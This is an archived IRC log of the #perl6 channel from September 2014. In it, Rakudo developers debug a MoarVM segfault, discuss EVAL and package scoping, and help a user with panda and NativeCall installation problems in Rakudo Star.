Perl 6 - the future is here, just unevenly distributed

IRC log for #perl6, 2014-09-24

Perl 6 | Reference Documentation | Rakudo

| Channels | #perl6 index | Today | | Search | Google Search | Plain-Text | summary

All times shown according to UTC.

Time Nick Message
00:29 nbrown joined #perl6
00:41 xenoterracide joined #perl6
00:42 Antonio87 joined #perl6
00:59 jerrycheung joined #perl6
01:17 BenGoldberg joined #perl6
01:23 nbrown joined #perl6
01:40 Alene_Kiehn79 joined #perl6
02:08 nbrown joined #perl6
02:10 chenryn joined #perl6
02:15 noganex joined #perl6
02:17 tinyblak joined #perl6
02:20 Sqirrel joined #perl6
02:32 chenryn joined #perl6
02:42 mr-foobar joined #perl6
02:47 vendethiel- joined #perl6
02:48 Anita_Farrell94 joined #perl6
02:59 vendethiel joined #perl6
03:00 * TimToady now in Chama, NM
03:09 nbrown joined #perl6
03:17 xenoterracide joined #perl6
03:19 mr-foobar joined #perl6
03:38 jerrycheung joined #perl6
03:41 yeahnoob joined #perl6
03:51 Alford_Cummings joined #perl6
04:03 chenryn joined #perl6
04:05 retupmoca joined #perl6
04:08 nickpatch joined #perl6
04:08 chenryn joined #perl6
04:10 baest joined #perl6
04:10 nbrown joined #perl6
04:13 j4jackj timotimo: nice!
04:13 j4jackj erm
04:13 j4jackj TimToady: nices!
04:20 rindolf joined #perl6
04:38 kurahaupo joined #perl6
04:44 chenryn joined #perl6
04:55 ingy vendethiel: I o/
04:55 ingy er
04:56 ingy I just realized I messed up my fizzbuzz. I misinterpreted the perl6 %%
04:56 ingy the p6 fb is moar genieus than I thunk!
04:57 ingy
04:57 * ingy stealsWstudies the p6 operator set
04:59 ingy .tell pmurias I'll explain my acmeist thoughts on translation tomorrow when you are about.
04:59 yoleaux ingy: I'll pass your message to pmurias.
04:59 ingy perhaps I should write a swim-post on that now
05:07 darutoko joined #perl6
05:11 nbrown joined #perl6
05:14 dagurval joined #perl6
05:26 MikeFair joined #perl6
05:26 gfldex joined #perl6
05:31 chenryn joined #perl6
05:44 digitalvortex joined #perl6
06:11 nbrown joined #perl6
06:14 oetiker joined #perl6
06:14 kurahaupo joined #perl6
06:29 SamuraiJack joined #perl6
06:30 kurahaupo_ joined #perl6
06:33 dolmen joined #perl6
06:34 [Sno] joined #perl6
06:44 FROGGS joined #perl6
06:57 darutoko- joined #perl6
07:12 mberends joined #perl6
07:12 nbrown joined #perl6
07:19 Mso150 joined #perl6
07:23 tinyblak joined #perl6
07:23 anaeem1_ joined #perl6
07:24 kaare_ joined #perl6
07:24 Mso150 joined #perl6
07:26 tinyblak joined #perl6
07:27 Mso150 joined #perl6
07:28 kaleem joined #perl6
07:30 virtualsue joined #perl6
07:34 telex joined #perl6
07:42 zakharyas joined #perl6
07:52 tinyblak joined #perl6
07:58 jerrycheung joined #perl6
08:00 tinyblak_ joined #perl6
08:04 anaeem1_ joined #perl6
08:04 MikeFair_ joined #perl6
08:07 kurahaupo_ joined #perl6
08:07 anaeem1_ joined #perl6
08:08 bartolin joined #perl6
08:13 nbrown joined #perl6
08:13 kjs_ joined #perl6
08:13 anaeem1 joined #perl6
08:17 dakkar joined #perl6
08:25 davido__ joined #perl6
08:26 SamuraiJack joined #perl6
08:30 zakharyas1 joined #perl6
08:32 cognome joined #perl6
08:34 ghostlines joined #perl6
08:40 virtualsue joined #perl6
08:41 leont joined #perl6
08:44 lizmat good *, #perl6!
08:45 FROGGS hi lizmat
08:45 lizmat FROGGS o/
08:46 * lizmat goes back to the S32/IO drawing board
08:47 fhelmberger joined #perl6
08:51 denis_boyun_ joined #perl6
08:56 sergot lizmat: o/
08:57 lizmat sergot o/
08:57 sergot FROGGS: did you try to run rosettacode tester?
08:58 FROGGS sergot: yes, and then my system locked up... that's why I did not test it again
08:58 sergot :(
09:01 sergot can we close #121947?
09:01 synopsebot Link: https://rt.perl.org/rt3//Publ​ic/Bug/Display.html?id=121947
09:01 bartolin I managed to golf the spectest failures [Coke]++ got recently for moar (in S05-transliteration/trans.t)
09:01 bartolin it looks to me as if moar does not like a PERL6LIB variable like '/path/to/rakudo/lib:.'
09:01 bartolin perl6-roast-data uses that and it results in a segmentation fault (but only for those single test file)
09:01 FROGGS sergot: did you get an answer by TimToady?
09:01 bartolin other versions of PERL6LIB ('lib:.' or '/path/to/rakudo/lib:/path/to/rakudo) seem to work
09:01 bartolin see: http://pastebin.com/cAzk213S
09:02 FROGGS wow
09:02 lizmat you mean there's a trailing colon?
09:02 lizmat ah, and a period
09:02 lizmat aha..  hmmm....
09:03 bartolin the combination of a path with slashes and a dot as a second directory seems to be problematic
09:03 FROGGS I would guess that different modules get loaded which result in a segfault...
09:04 bartolin the form $dir1:$dir2 as such is correct, isn't it?
09:04 lizmat seems to work correct:
09:04 lizmat $ PERL6LIB=foo:. 6 '.say for @*INC'
09:04 lizmat file:foo
09:04 lizmat file:.
09:04 lizmat file:/Users/liz/Github/rakudo.m​oar/install/languages/perl6/lib
09:05 FROGGS bartolin: does that also segfault? ./perl6-m -I. -I$(pwd)/lib t/spec/S05-transliteration/trans.rakudo.moar
09:06 bartolin FROGGS: no, runs as expected
09:06 FROGGS hmmm....
09:07 bartolin This also works:
09:07 bartolin $ PERL6LIB=.:$(pwd)/lib ./perl6-m t/spec/S05-transliteration/trans.rakudo.moar
09:08 FROGGS and probably also: $ PERL6LIB=$(pwd)/lib ./perl6-m t/spec/S05-transliteration/trans.rakudo.moar
09:08 bartolin yepp
09:08 FROGGS weird weird weird
09:09 bartolin Looks like it broke on 2014-09-11.
09:10 tinyblak joined #perl6
09:11 bartolin if I add a third dir it also segfaults:
09:11 bartolin $ PERL6LIB=$(pwd)/lib:.:/usr/local/lib ./perl6-m t/spec/S05-transliteration/trans.rakudo.moar
09:11 brrt joined #perl6
09:11 FROGGS Program received signal SIGSEGV, Segmentation fault.
09:11 FROGGS 0x00007ffff79a0bde in scan_registers (frame=0x5469400, worklist=0x4d37f80, tc=0x603690) at src/gc/roots.c:376
09:11 FROGGS 376                MVM_gc_worklist_add(tc, worklist, &frame->work[i].o);
09:11 FROGGS :o(
09:11 FROGGS that's where it happens
09:11 lizmat a premature GC issue ?
09:12 FROGGS and it works when I do: MVM_SPESH_INLINE_DISABLE=1
09:13 FROGGS I dunno what happens there tbh
09:14 nbrown joined #perl6
09:14 bartolin well, I have no clue, absolutely. but it was fun to golf it down ;-)
09:15 FROGGS bartolin++
09:15 FROGGS :o)
09:15 lizmat bartolin++ indeed
09:15 FROGGS I can probably golf it down to the optimization that breaks it...
09:18 bartolin I guess [Coke]++ would be happy ;-)
09:18 bartolin FROGGS++
09:19 FROGGS huh, the first hit might be it...
09:19 FROGGS when I disable the optimization for MVM_OP_set, it works again...
09:21 FROGGS hmm, it also works when I disable MVM_OP_invoke_{i,n,s,o}
09:23 brrt oh... sigsegv because of inline
09:23 brrt darn
09:23 FROGGS hmm, and MVM_OP_isconcrete
09:23 FROGGS I'm not sure anymore that it is sane what I do :o)
09:23 brrt FROGGS: does it break if you MVM_DISABLE_JIT=1 ?
09:23 FROGGS not MVM_JIT_DISABLE=1?
09:24 brrt yeah that is correct :-)
09:24 FROGGS brrt: it is not the jit, I've tested that already :o)
09:24 brrt ah....
09:24 brrt hmm
09:24 brrt inlining is complex
09:26 brrt what about OSR?
09:26 FROGGS not OSR's fault also
09:33 lizmat TimToady: we have all(), none(), any(), one(), perhaps we could use either/neither for a 2-element junction for readability ?
09:33 lizmat and potential better optimization?
09:33 pecastro joined #perl6
09:34 lizmat either being one() for 2 elements, neither being none() for 2 elements
09:35 sergot FROGGS: I thought we got an answer recently.
09:36 * sergot is trying to find the answer
09:36 sergot :)
09:36 FROGGS sergot: I've not seen it :o)
09:43 brrt either is just xor right?
09:44 brrt neither is nand ... or not
09:44 brrt neither F, F = T, neither T, F = F
09:45 tadzik neither is nor
09:45 tadzik either is or
09:45 tadzik well, that depends
09:45 tadzik "is either of you married?" "yes, we both are" or "no, we both are" :P
09:45 brrt either is xor, neither is nor , you're correct :-)
09:45 lizmat ok, if it's that confusing, maybe it's just a bad idea
09:46 brrt :-)
09:46 lizmat even the dictionary is in two minds about it  :-(
09:48 brrt well.. xor and nor are clear enough
09:49 dalek specs: 12f5bf6 | (Elizabeth Mattijsen)++ | S16-io.pod:
09:49 dalek specs: Small rearranging
09:49 dalek specs: review: https://github.com/perl6/specs/commit/12f5bf6548
09:54 virtualsue joined #perl6
09:59 sergot FROGGS: http://irclog.perlgeek.de/​perl6/2014-09-10#i_9326947
09:59 sergot found it!
09:59 sergot :)
10:03 lizmat sergot FROGGS: where is this about?
10:04 lizmat *what
10:04 lizmat the @(Bag) change ?  is it causing problems ?
10:15 nbrown joined #perl6
10:23 dalek specs: 0c34759 | (Elizabeth Mattijsen)++ | S16-io.pod:
10:23 dalek specs: Forget chmod() + some cosmetics
10:23 dalek specs: review: https://github.com/perl6/specs/commit/0c34759211
10:24 pmurias joined #perl6
10:26 xinming_ joined #perl6
10:26 pmurias hi
10:26 yoleaux 04:59Z <ingy> pmurias: I'll explain my acmeist thoughts on translation tomorrow when you are about.
10:28 sergot lizmat: it is just about prining Bags, we didn't know whether it should be more like hashes or more like lists.
10:28 sergot printing
10:28 sergot so, just a spec
10:28 lizmat aha, ok, and shortly after that spec change, I implemented that
10:29 lizmat was stable ~ 3 days later or so
10:29 sergot lizmat: great, so we can close #121947, right?
10:29 synopsebot Link: https://rt.perl.org/rt3//Publ​ic/Bug/Display.html?id=121947
10:30 bjz joined #perl6
10:32 lizmat sergot: good question
10:32 lizmat m: say <a a b b c c d d>.Bag.fmt("%s")  # this feels wrong to me
10:32 camelia rakudo-moar 682e03: OUTPUT«a␤b␤c␤d␤»
10:33 lizmat m: say <a a b b c c d d>.Set.fmt("%s")  # same for Set btw
10:33 camelia rakudo-moar 682e03: OUTPUT«a␤b␤c␤d␤»
10:33 lizmat I think the bug still exists
10:33 tinyblak joined #perl6
10:35 masak vendethiel: we don't have macros that generate macros yet, no.
10:35 yoleaux 21 Sep 2014 17:48Z <vendethiel> masak: I'm gonna make macros to join our `where`s and that: http://goto.ucsd.edu/~rjhala/liquid/haskell/b​log/blog/2013/01/01/refinement-types-101.lhs/
10:36 masak vendethiel: that would fall under D4, though.
10:36 FROGGS m: say <a a b b c c d d>.Bag.fmt("%s => %s")
10:36 camelia rakudo-moar 682e03: OUTPUT«a => 2␤b => 2␤c => 2␤d => 2␤»
10:42 masak oh, and I have two tips to relay, from an anonymous source:
10:43 masak (a) Rakudo Star releases matter. should try and release them a week or so after every compiler release, preferably.
10:43 masak (b) there's interest in a Perl 6 Oracle DBI.
10:46 philh joined #perl6
10:46 philh Hello all.
10:46 philh Stupid question time
10:47 masak bring it! :D
10:47 philh If I'm in a REPL, how do I load a .pl?
10:47 jnthn eval slurp 'file.pl'
10:47 masak om nom nom
10:47 dalek specs: f75e1a3 | (Elizabeth Mattijsen)++ | S16-io.pod:
10:47 dalek specs: IO::Path.contents is ambiguous, use .dir instead
10:47 dalek specs: review: https://github.com/perl6/specs/commit/f75e1a39cd
10:47 lizmat EVAL perhaps ?
10:48 masak perhaps :(
10:48 philh @lizmat: got it
10:48 lizmat 'file.pl'.IO.slurp.EVAL
10:49 philh Many thanks. Wrote a grammar, all happy, and then I need to actually explore the data structure.
10:49 philh Incidentally using windows rakudo in cygwin means many tears.
10:50 jnthn s/'windows rakudo in '// in my experience.... :S
10:51 philh True enough, is there a better environment for perl6ing on Win?
10:51 * jnthn just uses Windows directly
10:51 nine m: BEGIN GLOBAL::<Test> = class { }; Test.new;
10:51 camelia rakudo-moar 682e03: OUTPUT«===SORRY!===␤Object of type <anon> in QAST::WVal, but not in SC␤»
10:52 jnthn ConEnum + Notepad++
10:52 jnthn *ConEmu
10:53 masak nine: looks like a bug.
10:53 masak ...maybe.
10:53 philh Hmm, I'm a bit tied to my unix tools... cheers people.
10:53 nine masak: any idea how I can create a class with a fully qualified name from an EVAL that's deep in some other namespace?
10:54 nine masak: as in Inline::Perl5::Perl6PackageCreator::create runs an EVAL that should create a class called Foo::Bar::Baz.
10:55 lizmat nine: EVAL "class Foo::Bar::Baz {}" doesn't cut it ?
10:55 anaeem1__ joined #perl6
10:56 lizmat alternately EVAL "class Foo { class Bar { class Baz {}}}' ?
10:56 lizmat or actually, maybe both?
10:56 nine lizmat: nope, that creates Inline::Perl5::Perl6PackageCreator::Foo::Bar::Baz (what a handy name ;)
10:57 * masak has no idea, sadly
10:57 lizmat m: class ::Foo {}  # seems to not die, inspiration maybe ?
10:57 camelia rakudo-moar 682e03: ( no output )
10:57 nwc10 good +0800, masak
10:58 nine m: BEGIN GLOBAL::<Test> := class { }; Test.new;
10:58 camelia rakudo-moar 682e03: ( no output )
10:58 jnthn nine: Does class GLOBAL::Foo::Bar::Baz { } not do it?
10:58 nine ah, := works, while = does not
10:58 nine jnthn: no, the GLOBAL:: is pretty much ignored
10:58 jnthn ah
10:58 jnthn Maybe that wants fixing
10:58 jnthn But afer dinner
10:58 * masak submits rakudobug
10:58 nine jnthn: according to S10, GLOBAL:: should do it though
10:59 jnthn nine: That's my feeling too
10:59 kurahaupo joined #perl6
11:01 masak nwc10: ahoywdy.
11:01 masak dinner &
11:02 jnthn nom too &
11:09 anaeem1_ joined #perl6
11:12 FROGGS m: class GLOBAL::Foo::Bar::Baz { }
11:12 camelia rakudo-moar 682e03: ( no output )
11:12 FROGGS m: class GLOBAL::Foo::Bar::Baz { }; say GLOBAL::
11:12 camelia rakudo-moar 682e03: OUTPUT«"Foo" => Foo␤»
11:12 FROGGS m: class GLOBAL::Foo::Bar::Baz { }; say GLOBAL::<Foo>.WHAT
11:12 camelia rakudo-moar 682e03: OUTPUT«(Foo)␤»
11:13 FROGGS m: class GLOBAL::Foo::Bar::Baz { method hello { say "Guten Tag" } }; say GLOBAL::<Foo>.hello()
11:13 camelia rakudo-moar 682e03: OUTPUT«No such method 'hello' for invocant of type 'Foo'␤  in block <unit> at /tmp/H3N2o4AYuu:1␤␤»
11:13 FROGGS m: class GLOBAL::Foo::Bar::Baz { method hello { say "Guten Tag" } }; say GLOBAL::Foo::Bar::Baz.hello()
11:13 camelia rakudo-moar 682e03: OUTPUT«Guten Tag␤True␤»
11:13 FROGGS nine: ^^
11:13 prevost joined #perl6
11:15 nbrown joined #perl6
11:16 nine m: class Foo { method create { EVAL q/class GLOBAL::Bar::Baz { method hello { say q{Guten Tag} } };/; } }; Foo.create; Bar::Baz.hello();
11:16 camelia rakudo-moar 682e03: OUTPUT«Could not find symbol '&Baz'␤  in method <anon> at src/gen/m-CORE.setting:13632␤  in any find_method_fallback at src/gen/m-Metamodel.nqp:2662␤  in any find_method at src/gen/m-Metamodel.nqp:972␤  in block <unit> at /tmp/U1aTzUuzNL:1␤␤»
11:17 FROGGS m: class Foo { method create { EVAL q/class GLOBAL::Bar::Baz { method hello { say q{Guten Tag} } };/; } }; Foo.create; say GLOBAL::
11:17 camelia rakudo-moar 682e03: OUTPUT«"Foo" => Foo␤»
11:17 FROGGS m: class Foo { method create { EVAL q/class GLOBAL::Bar::Baz { method hello { say q{Guten Tag} } };/; } }; Foo.create; say ::('Bar')
11:17 camelia rakudo-moar 682e03: OUTPUT«===SORRY!===␤No such symbol 'Bar'␤»
11:17 FROGGS m: class Foo { method create { EVAL q/class GLOBAL::Bar::Baz { method hello { say q{Guten Tag} } };/; } }; Foo.create; import Foo; say ::('Bar')
11:17 camelia rakudo-moar 682e03: OUTPUT«===SORRY!===␤No such symbol 'Bar'␤»
11:17 FROGGS m: class Foo { method create { EVAL q/class GLOBAL::Bar::Baz { method hello { say q{Guten Tag} } };/; } }; Foo.create; import Foo; say ::
11:17 camelia rakudo-moar 682e03: OUTPUT«PseudoStash.new("\$!", Nil, "\$/", Nil, "\$_", Nil, "GLOBALish", GLOBAL, "EXPORT", EXPORT, "\$?PACKAGE", GLOBAL, "::?PACKAGE", GLOBAL, "Foo", Foo, "\$=pod", Array.new(), "!UNIT_MARKER", !UNIT_MARKER, )␤»
11:17 FROGGS m: class Foo { method create { EVAL q/class GLOBAL::Bar::Baz { method hello { say q{Guten Tag} } };/; } }; Foo.create; import Foo; say GLOBAL::
11:18 camelia rakudo-moar 682e03: OUTPUT«"Foo" => Foo␤»
11:18 FROGGS m: class Foo { method create { EVAL q/class GLOBAL::Bar::Baz { method hello { say q{Guten Tag} } };/; } }; Foo.create; import Foo; say GLOBAL::Foo::
11:18 camelia rakudo-moar 682e03: OUTPUT«"Bar" => Bar␤»
11:18 FROGGS ohh
11:18 nine It seems to ignore the GLOBAL::
11:19 FROGGS m: class Foo { class GLOBAL::Bar::Baz { method hello { say "Guten Tag" } } }; import Foo; say GLOBAL::
11:19 camelia rakudo-moar 682e03: OUTPUT«"Foo" => Foo␤»
11:19 FROGGS m: class Foo { class GLOBAL::Bar::Baz { method hello { say "Guten Tag" } } }; import Foo; say GLOBAL::Foo::
11:19 camelia rakudo-moar 682e03: OUTPUT«"Bar" => Bar␤»
11:19 FROGGS okay
11:19 FROGGS so it ignored GLOBAL in any case, even without being in an EVAL
11:19 FROGGS and it installs itself in the outer class
11:23 nine Probably even better for my use case would be if something like package GLOBAL; would just work.
11:24 nine Or if I could tell EVAL to run in the GLOBAL package.
11:25 lizmat nine: you actually can, but jnthn frowns upon its usage
11:25 lizmat check out method EVAL in the core
11:26 lizmat I guess as a temporary fix it would be ok
11:26 nine nice!
11:26 anaeem1 joined #perl6
11:27 tinyblak joined #perl6
11:32 Ven joined #perl6
11:32 Ven masak: alright, fair enough. Well, need some kind of interp/symbol-to-str
11:32 Ven the reason I'm *against* checking sub presences and other stuff like that before macros are run is because it makes us unable to prepend/append names
11:34 Ven It just depends which kind of structure will hold "names". Strings? We probably need something different
11:41 nine m: class Foo { method create { EVAL q/class Bar::Baz { method hello { say q{Guten Tag} } };/, context => GLOBAL::; } }; Foo.create; Bar::Baz.hello();
11:41 camelia rakudo-moar 682e03: OUTPUT«Cannot call 'EVAL'; none of these signatures match:␤:(Cool $code, Any :lang($lang) = { ... }, PseudoStash :context($context))␤  in method create at /tmp/O_VXrIVWgq:1␤  in block <unit> at /tmp/O_VXrIVWgq:1␤␤»
11:43 nine Now this works: EVAL("module $package \{\n$code\n\}", context => CALLER::CALLER::CALLER::CALLER::CALLER::CALLER::);
11:44 nine But I somehow don't like it all that much :)
11:44 Ven nine: so long you know, there's a place in hell ready for you :P
11:46 lizmat nine: FWIW, that's how I used something like that a few months ago
11:46 lizmat :-)
11:46 lizmat clearly there is a need for something like that
11:46 nine So maybe we'll share that special place in hell :)
11:46 lizmat maybe  :-)
11:47 Ven you want to create a class in the global package, from a class's instance method?
11:48 nine Ven: yes
11:49 Ven wouldn't it be better to expose it through EXPORT?
11:49 nine Ven: no, there's no one to EXPORT to.
11:50 Ven can't you have, "inline", a `package Cur::NS::Classes { our sub export ... }` ?
11:51 nine Ven: I'm implementing support for something like use v6-inline; in Perl 5 code executed from Perl 6. So Perl 5 can load a module that is actually written in Perl 6. package Foo::Bar::Baz; use v6-inline; say [1,2,3].perl; would create a Perl 6 module called Foo::Bar::Baz
11:51 jerrycheung joined #perl6
11:52 Ven right.
11:52 nine Extreme situations sometimes just require extreme measures :)
11:53 * nine just loves pushing boundaries
11:53 Ven Wouldn't creating that package, and give it said EXPORT sub
11:53 Ven giving it* said EXPORT sub, work?
11:54 nine I _guess_ it would then EXPORT to whoever ran the Perl 5 code that ended up loading some module. That's not how Perl 5 semantics work.
12:02 anaeem1_ joined #perl6
12:10 muixirt joined #perl6
12:15 muixirt panda --installed list # lists nothing on R* 2014.08 ... but there are modules installed
12:16 nbrown joined #perl6
12:17 FROGGS muixirt: panda does not know that star bundles stuff for it
12:19 muixirt FROGGS: that's bad :-) does it handle dependencies correctly if a module depends on one of the preinstalled modules?
12:20 FROGGS muixirt: no, a dependency needs to be known by panda in order to do that
12:20 FROGGS muixirt: which means, we have to create pandas projects.info (or what it is called) when making a rakudo star release
12:23 tinyblak joined #perl6
12:27 muixirt hmm, some modules lack documentation
12:27 nine This also seems to work and shouldn't depend on the call stack: EVAL("module $package \{\n$code\n\}", context => OUTER::OUTER::OUTER::OUTER::);
12:28 FROGGS bbiab
12:30 xenoterracide joined #perl6
12:35 dalek specs: 812d1ac | (Elizabeth Mattijsen)++ | S16-io.pod:
12:35 dalek specs: Add IO::Path.slurp + some cosmetics
12:35 dalek specs: review: https://github.com/perl6/specs/commit/812d1ac3e3
12:35 dalek specs: f153027 | (Elizabeth Mattijsen)++ | S32-setting-library/IO.pod:
12:35 dalek specs: Part 3 of S32/IO revamp
12:35 dalek specs:
12:35 dalek specs: Done IO::Path, IO::Handle still to come.
12:35 dalek specs: review: https://github.com/perl6/specs/commit/f153027197
12:35 zakharyas joined #perl6
12:35 bjz joined #perl6
12:36 pmurias jnthn: re nqp::serialization hack it think I keeping the ability to cross compile will be usefull even after the bootstrap, but the hack doesn't seem to have significant bad sideffect so I think it's best to just keep it until we come up with some elegant solution
12:37 pmurias do we want to use a '.pl' extension for Perl 6 scripts?
12:37 pmqs1 joined #perl6
12:38 nine pmurias: S01 seems to answer with a "yes"
12:40 PerlJam pmurias: Are you asking in a "best practices" sense?  Or an "is it okay to do this" sense?
12:40 PerlJam S01 ansers the latter, but I think the answer to the former is probably different.
12:41 PerlJam (i.e. A "best practice" might be to use .p6 to distinguish P6 from P5)
12:41 lofas joined #perl6
12:43 Ven PerlJam: but then you're messing a lot of highlighting :(
12:44 Ven it goes both way, actually..
12:45 * jnthn uses .p6 today on scripts, but as stuck with .pm on modules...
12:45 SamuraiJack joined #perl6
12:45 Ven .oO( use .p6 today and get a reduction on tomorrow's .pm!s )
12:46 pmqs1 Hey - wonder if someone can help me? I've installed the latest Rakudo* successfully on a Linux setup. Just trying to install some more modules using panda. Problem is - it complains about missing modules that came with R*. For example, when I try to install Compress::Zlib it thinks I don't have NativeCall. But I do.
12:46 Ven m: say dir
12:46 camelia rakudo-moar 682e03: OUTPUT«IO::Path<jvm-rakudo> IO::Path<star-2014.08> IO::Path<.viminfo> IO::Path<rakudo-inst-2> IO::Path<.pugs_history> IO::Path<.selected_editor> IO::Path<star> IO::Path<rakudo1> IO::Path<.bash_history> IO::Path<.bashrc> IO::Path<.cache> IO::Path<.bash_logout> IO:…»
12:47 tadzik pmqs1: interesting. Does 'perl6 -MNativeCall -e1' work?
12:47 Ven should lines('a') Z lines('b') work?
12:47 Ven it only goes over the first line here
12:47 Ven or should I use lizmat++'s .IO.lines(:eager)
12:47 kurahaupo pmurias: best practice for naming scripts on POSIX systems is usually to install them in a bin directory that's in $PATH, with *no* suffix. Only in source trees should they have a suffix, and only then if you can guarantee its removal during the installation process
12:47 pmqs1 tadzik: yes, it does
12:47 lizmat Ven: lines() is still special
12:48 lizmat .IO.lines is clearer I think
12:48 lizmat either should Z though...
12:48 timotimo Ven: lines("a") will split the string "a" into lines
12:48 Ven timotimo: right >_>
12:49 Ven well, .IO.lines works great.
12:49 timotimo it's very good if you created "a" and "b" with something like "yes a | head -n 1000 > a" and such
12:49 timotimo because then you can't tell if you're working on the filename or file contents :P
12:49 PerlJam tadzik: from about 30 minutes ago ... <FROGGS> muixirt: panda does not know that star bundles stuff for it
12:49 Ven I wanted to have a "correspondance" file, so I just
12:49 PerlJam tadzik: so, if true, it's an R* bug.
12:50 tadzik PerlJam: it doesn't but that shouldn't make anything complain about the lack of NativeCall
12:50 tadzik panda may just build it for the 2nd time
12:50 Ven for 'a'.IO.lines Z 'b'.IO.lines { say "$^a$^b" }
12:50 PerlJam oh, that's true.
12:50 PerlJam (or should be true)
12:50 yeahnoob joined #perl6
12:50 Ven how'd you do that in p5?
12:50 pmqs1 When I try to install NativeCall with Panda I get the error "No registered operation handler for 'nativecallglobal'
12:51 lizmat Ven: with great difficulty
12:51 timotimo lizmat: except if there's a module for that :P
12:51 lizmat sure there is  :-)
12:51 Ven lizmat: Cool. I guess I'll put that in my to-be talk :P
12:52 PerlJam Ven: Maybe with IO::All and List::UtilsBy ?
12:52 Ven PerlJam: no clue, I don't p5
12:52 timotimo i don't p5 either ... a strange situation to be in i have to admit, but it's very enjoyable
12:52 timotimo especially not having to undo the "damage" perl5 may have done
12:53 jnthn pmqs1: Try panda --nodeps install ... (maybe --no-deps, I forget)
12:54 jnthn pmqs1: If NativeCall is all it depends on, that will avoid the issue
12:54 timotimo --node-ps
12:54 Ven .oO( --node-js )
12:54 Ven (for webscale p6)
12:54 jnthn wtf... :P
12:54 timotimo .o( the new asynchronous IO hotness for postscript on the server )
12:54 guru joined #perl6
12:55 pmurias --node-ps is for printer scale p6?
12:55 mr-foobar joined #perl6
12:55 timotimo the good thing is you can have the same code run on your server and on your client's printers!
12:55 * jnthn had one uni lecturer who once mentioned he'd managed to implement towers of hanoi in postscript :)
12:55 timotimo someone i know built a quine t-shirt with postscript
12:55 jnthn I think it printed out the result or something
12:55 jnthn timotimo: Wow. :)
12:56 pmqs1 jnthn: nope. no difference.
12:56 pmqs1 $ panda --nodeps install NativeCall
12:56 pmqs1 ==> Fetching NativeCall
12:56 pmqs1 ==> Building NativeCall
12:56 pmqs1 Compiling lib/NativeCall.pm6 to mbc
12:56 pmqs1 ===SORRY!===
12:56 pmqs1 No registered operation handler for 'nativecallglobal'
12:56 pmqs1 build stage failed for NativeCall: Failed building lib/NativeCall.pm6
12:56 timotimo jnthn: sadly, the code wouldn't cause a regular inkjet or laser printer to actually print out a tshirt :P
12:56 leont Book once wrote a perl5 script that was also valid postscript, they both outputted a camel I think.
12:56 tadzik bwahaha
12:57 timotimo pmqs1: ah! that's what you get when you use a newer version of NativeCall than the one we bundled ...
12:57 lizmat I think it was on the YAPC::EU 2001 T-shirt  :-)
12:57 timotimo pmqs1: the bundled NativeCall really should have worked :(
12:57 jnthn pmqs1: No, I meant do that on the module you wanted to install in the first place.
12:58 leont http://perl.plover.com/obfuscated/bestever.pl
12:59 pmqs1 jnthn: aaah ok. Let me try that ...
12:59 timotimo worst case you can "panda install ." inside the NativeCall folder we're bundling
12:59 pmqs1 jnthn: better
13:00 PerlJam Ven: here's a Perl5 version: use IO::All; use List::UtilsBy qw< zip_by >; my @a = io("A")->chomp->slurp; my @b = io("B")->chomp->slurp; print zip_by { "$_[0]$_[1]\n" } \@a, \@b
13:00 Ven not as cute :P
13:01 timotimo PerlJam: how come chomp->slurp gives you a list of lines? wantarray?
13:01 PerlJam timotimo: probably.
13:01 timotimo wantarray is something i'm not terribly fond ot
13:01 timotimo of*
13:03 Ven only fools would copy something like that :)
13:03 Ven (which is why c++ did it)
13:03 timotimo wait what.
13:03 timotimo overloading based on return type? %)
13:03 PerlJam with automatic coercions IIRC
13:04 timotimo well, you can turn that off with "explicit" constructors, though, right?
13:04 timotimo well, it's still something you have to think of
13:04 PerlJam yep
13:04 pmqs1 jnthn: Thanks - that seems to have got past the problem. Do you want a bug report filed? This is something that would put off the casual P6 user who would expect panda to "just work"?
13:05 timotimo yes please, that's a bad bug
13:05 timotimo in rakudo/star on github, i'd suggest
13:05 timotimo do we know how this happened? :o
13:06 pmqs1 timotimo: will do.
13:06 pmqs1 no 0 haven't a clue
13:07 pmqs1 but have hit the same issue on two differnt Linux boxes
13:07 timotimo just to make sure: you're not using the releases from github.com/rakudo/star/releases, right?
13:07 timotimo i should go through that list again and delete those
13:07 pmqs1 let me check where I got it...
13:07 timotimo oh i'm not an admin for that repository, it seems like i cannot delete the releases there
13:08 pmqs1 got it from http://rakudo.org/downloads/st​ar/rakudo-star-2014.08.tar.gz
13:09 timotimo good
13:09 timotimo github is like "hey, we have this super useful 'releases' feature for you, yay?" and we're like "why doesn't it contain any of the submodule contents?" ...
13:09 timotimo whenever people download the release from github, they get burnt badly
13:10 pmqs1 will keep that in mind
13:10 jnthn timotimo: Yes, the issue is that the R* "make install" doesn't also set up stuff so Panda knows what is already there
13:10 timotimo maybe we should just file a bug report with github instead of whining
13:10 tinyblak joined #perl6
13:10 timotimo jnthn: wasn't there once a project to use panda to install the modules from rakudo star's make install routine?
13:11 jnthn timotimo: Perhaps. I guess it never got completed/merged. :(
13:11 Ven timotimo: you can't "file a bug report on github" :p
13:11 timotimo i think you actually can
13:12 timotimo ah, hm. support@github.com
13:13 dalek nqp-js: 4d1f45f | (Pawel Murias)++ | / (8 files):
13:13 dalek nqp-js: Start porting over object deserialization.
13:13 dalek nqp-js: review: https://github.com/pmurias​/nqp-js/commit/4d1f45f416
13:14 pmqs1 timotimo: I'll stick something in RT about panda so it doesn't get dropped.
13:14 timotimo OK
13:15 pmqs1 think my p5p credentials let me into the P6 side
13:15 timotimo could very well be, yeah
13:17 pmqs1 it did
13:17 nbrown joined #perl6
13:17 * jnthn away for a bit
13:19 FROGGS joined #perl6
13:21 FROGGS pmqs1: you need to install an older version of NativeCall, probably best would be to checkout its repo, then checkout the 2014.08 branch and install that via pana (panda install .)
13:22 FROGGS pmqs1: ahh, you installed star 2014.08 and updated NativeCall? is that right?
13:23 FROGGS if it helps, there probably will be a star 2014.09 within 48 hours
13:23 lizmat FROGGS++
13:23 nwc10 which lovely person is doing star this month?
13:24 FROGGS nwc10: whoever put his/her name in the release doc :o)
13:25 FROGGS okay... looks like I have no time to waste... implementing nativecallglobal on parrot and jvm and then cutting the star release
13:26 lizmat FROGGS: doesn't that mean that the star release has a newer version than the compiler release ?
13:26 FROGGS err
13:26 FROGGS lizmat: you are right, the nativecallglobal stuff won't end up in current star
13:26 nwc10 surely it's OK to say "experimental X, only available in MoarVM this month" ?
13:27 FROGGS nwc10: problem is, it landed in moar after the compiler release
13:27 nwc10 then, surely it's a next month thing?
13:27 nwc10 oh, wait, I suspect I'm confused here
13:27 nwc10 there's scrollback I've not read
13:27 FROGGS but when somebody (re-)installs it from github, the said op won't be there so it won't build
